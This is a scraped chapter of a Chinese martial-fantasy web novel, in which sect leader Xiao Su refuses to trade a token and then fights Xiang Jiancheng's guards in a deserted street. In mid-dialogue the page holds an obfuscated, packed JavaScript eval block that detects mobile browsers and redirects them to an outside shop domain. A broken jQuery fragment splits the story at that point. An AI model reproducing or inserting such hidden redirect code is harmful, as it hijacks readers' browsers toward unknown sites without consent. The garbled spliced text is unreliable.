文趣网 > 其他小说 > 宸行天下 > 12. 不拢
    向坚成手里拿着一柄折扇,上面反射出流光溢彩的金色光芒,他身边带着二三十名护卫,浩浩荡荡,转眼便将整条街道围了个水泄不通。

    “萧教主不也是如此,今天教主在夜邑会上出尽了风头,结果到了晚间,却连寰梦城主的晚宴都不愿意现身,怎么,是拿到了炎阳令,觉得自己无所不能,就不顾及寰梦城主的颜面了吗?”

    萧宿深吸一口子,悄悄背过手,将那白玉小瓶收入乾坤袋中,“向公子此言差矣,萧某虽没有亲临现场,但凌司命作为我问宸教中最年轻的司命,早已携带厚礼,与众位教主把酒言欢,不似向公子您,如此重要的场合,金河门竟无一人出席,如此没规没矩,实在让人大跌眼镜。”

    他一向温和有礼,嫌少会露出獠牙,倒是让向坚成颇感意外,“萧教主口齿伶俐,真让人刮目相看。”

    “向公子过奖。”

    因着于益珩的昏迷,萧宿心情极差,无论是态度还是语气都不似往昔,向坚成对此也是新奇的很,左看右看,那眼神,像是在打量一个玩物,“大半夜的,这街道上空无一人,萧教主孤身来此,是想要做些见不得人的勾当吗?”

    萧宿缓缓退了一步,无论身前还是身后,都围绕满了金河门的护卫,对方就是有备而来,专门到此围堵于他。

    “彼此彼此,向公子不仅来此,还带着这么一大批的护卫,知道的呢是向公子担心自己在寰梦城中遇袭,不知道的还以为向公子嚣张跋扈惯了,想要趁着寰梦城主无暇分身,在这城中想做出点什么事来。”

    萧宿抖了抖长袖,左手随意一挽,便将整条臂膀上的水袖都卷至肘间,“萧某一身华服,若真的想做上不得台面的勾当,好歹也得如向公子这般,一身黑衣,低调行事,切莫让人认出贵教的身份。”

    这也是萧宿认为对方故意围堵自己的原因,金河门的服装与问宸教极为相似,皆以金色为主色,放在夜间简直就是行走的马蹄灯。萧宿是直接从夜邑会场来此,身上自然穿得还是白天的华服,而向坚成却换了一整套的装扮,说他是半夜出来散心,谁信呢?

    萧宿的确是个脾气极好的人,但这并不代表着,他可以对所有人、所有事,都处处包容,“向公子,先前不与你说明,只是顾及你金河门的颜面,问宸教与金河门素无往来,萧某并不想与金河门为敌,这才处处忍让,但金河门如若不领情,萧某自然也不会对你低三下四,归根结底,你不过就是金河门门主的远方表亲,而萧某,则是问宸教之主,与你们金河门门主平起平坐,以你的身份,还不配对萧某指手画脚。”

    他嫌少拿出问宸教主的威势压人,不是不愿,而是根本没有这个必要,向坚成先是一愣,随后便是怒火上身,登时便合拢了折扇,指着萧宿的鼻子骂道。

    “哼,别以为你得到了炎阳令就可以如此嚣张!前几日,你叫那个李房四处打听,不就是想要拿到三尾象角吗?那我偏就不让你拿到!萧教主看起来人模狗样,实际一肚子的花花肠子,自己的东西拿不到,就开始觊觎别人的战利品!”

    “向公子此言差矣。”萧宿冷哼一声,说,“擂台之上,强者为尊,昨日向公子派出的修士打赢了我问宸教,三尾象角理应归金河门所有,萧某愿赌服输,因此今日,萧某也不再保留,而是派上我问宸教武功最高的修士与尔等对决,并以实力取胜,所有比试均符合夜邑会的每一条规则,向公子却怨萧某派出的修士过于能战,夺走了你的炎阳令,未免有些强词夺理。”

    向坚成猛地一挥手,将长袖甩得呼呼生风,“那炎阳令本就是我金河门的囊中之物,你问宸教算是什么东西!也配跟我相提并论!”

    眼见自己的主子气势凌人,金河门的侍卫也不打算认输,将萧宿围了个水泄不通。

    萧宿环顾四周,整条街道上竟空无一人,想必是对方早就遣散了附近的行人,只是自己一时没有察觉罢了。

    既然撕破了脸皮,萧宿也不打算嘴下留情,趁着现在还能沟通,多从他口中套出些话来,“既然向公子如此不留情面,那萧某也斗胆问上一句,金河门和问宸教之间究竟有什么过节,要让贵教一而再,再而三的和萧某过不去?”

    “你自己做的事自己清楚,如今却装出一个傻乎乎模样来问我,真是恶人先告状。”向坚正捂住口鼻,“而且,我就讨厌你这一身的臭皮囊,金色是如此华贵的色彩,只有我金河门才担当得起,穿在你身上,简直是对这种颜色的侮辱。”

    无聊的理由,真是小孩子的把戏,萧宿险些翻个白眼:“既然向公子说不出,那萧某也不和向公子计较,不知今夜向公子找上萧某,是有何要事?”

    向坚成招了招手,一名护卫手捧托盘上前,上面盖着一块红布,“我手里有三尾象角,而你的手里有炎阳令,不如你我二人在这里做个交易,你拿走你的,我带走我的,你看怎么样?”

    萧宿目光一凝,不怒反笑,“向公子这算盘打的可真响,空手套白狼,是觉得萧某可以让你随意消遣的吗?”

    “以物易物,有什么不划算的,那炎阳令放在你手里毫无用途,只会暴殄天物,不如就让给我算了。”

    “此言差矣,只要有炎阳令在手,萧某还怕找不到区区一味三尾象角吗?不过就是件药材罢了,有了炎阳令,萧某什么会做不成。”

    “你当真要独吞了那令牌?”

    “萧某是通过擂台比试,又以黄金千两,合情合理地拿到令牌,无论是燔烯坛还是寰梦城,皆认为萧某的所作所为并无一丝错处,这‘独吞’二字,萧某实在担当不起,还是向公子觉得,金河门已经和问宸教熟络到,连这炎阳令都可以随意分享了吗?”

    这便是谈不拢了。

    向坚成收回锦盒,倒退数步,猛地向下一挥手,“我看你

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17750703|209412||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    是敬酒不吃吃罚酒,来人!”

    萧宿卷起袖口,身体稍稍前倾,警惕道,“向公子,你这是何意?”

    向坚成眼尾向上挑起,“何意?既然你不愿拿出令牌,那我只能用些手段让你就范,只要我抓了你,不怕你问宸教乖乖听话,给我上!”

    金河门的护卫大喝一声,伸掌便向萧宿的喉间劈来!萧宿侧身躲过,右手在为首之人的手腕上用力一劈,顿时便使得对方手骨错位,无力地怂拉下来,随后萧宿一个抬腿踹中对方腹部,那护卫顿时便飞了出去,撞倒了身后的另外三人!萧宿顺势旋身,轻轻松松躲过另一人的偷袭,然后抬起右手,肘击击中对方脊背!那人登时脊骨碎裂,惨嚎一声跌倒在地!

    向坚成大吃一惊:“什么!”

    萧宿的金色披肩无风自动,就像一团流云,转眼间就来到向坚成身前,伸手去抓他的脖颈,擒贼先擒王!

    向坚成的护卫登时便反应过来,将手中的锦盒向萧宿砸了去!萧宿反手抓住锦盒,掌心燃烧出火焰,转瞬便将其烧了个干净,除了黑漆漆的碎渣,什么都没剩下。

    果然是个空的!

    向坚成被几个护卫架着往后退,萧宿的动作行云流水,完全没有给他任何的反应时间:“怎么回事?他不是就个文人吗?怎么会有如此功夫!”

    俞峰从黑暗中冒出,几个纵跃来到向坚成身侧,低声禀告道:“属下打听过萧教主之事,他的确鲜少动武,但并非是毫无武力之人。”

    自萧宿在问宸教中崭露头角,众人便极少能见到他出手,大部分时间,都是由护卫、甚至是大司命代劳,武功一词,对萧宿而言,和强身健体没什么区别。

    所以金河门的众人已然忘记,其实萧宿能够觉醒出火焰的属性,本身就是对他武功的另一种认可!

    萧宿踢起一柄长长的铁棍,单手一挥,刮出一片火红色的灵力旋风,将四周的护卫尽数震开!

    “那怎么办!再这样下去,会被他突出重围的!”萧宿的武功明显好于一般护卫,估计用不了多久,这些个护卫便会被萧宿全部打倒在地,向坚成面露惊异,又气又急,“如果不能拿到炎阳令,我回去可没有办法跟门主交代!”

    俞峰双手抱拳,对他深鞠一躬,“属下全力一试!”

    他猛地抽出腰间那拴着铜钱的绳索,照着萧宿的额前迎头击下!

    萧宿举棍迎战,铜钱与铁索相交,登时迸溅出无数的火花!他双手紧握铁棍,在绳索上面缠了几圈,用力一拉,竟想要将对方拉将过来!俞峰左足在地下一点,半只脚尖陷入泥土,以此为支点发力,抵住萧宿的奋力拉扯!

    萧宿寒声道:“好力气。”

    俞峰亦是说:“萧教主才是,深藏不露。”

    俞峰牢牢抓住铜绳,随后张开左手,无数风刃击出,萧宿立刻回敬一掌,双拳相交,登时火焰四射!